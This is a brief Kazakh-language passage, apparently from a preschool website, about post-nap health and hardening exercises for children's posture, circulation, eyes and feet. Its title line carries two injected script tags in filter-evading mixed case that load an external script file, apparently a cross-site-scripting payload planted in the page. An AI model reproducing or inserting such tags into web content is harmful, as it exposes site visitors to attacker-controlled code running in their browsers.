Ұйқыдан кейінгі сауықтыру-шынықтыру шаралары<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Ұйқыдан кейінгі сауықтыру-шынықтыру шаралары балалардың дене бітімдерінің дұрыс қалыптасуына, қан айналымының жақсартуына, көздерін демалтуға, балалардың арқалары, қолдарындағы, табандарындағы нүктелерді оятуға арналған жаттығуларды күнделікті жасайды. Суық тиюге және майтабанға қарсы жаттығулар жасау арқылы балалардың денсаулығын нығайтып, дене сымбатын жетілдіріп, қимыл - қозғалыс дағдыларын дамытады.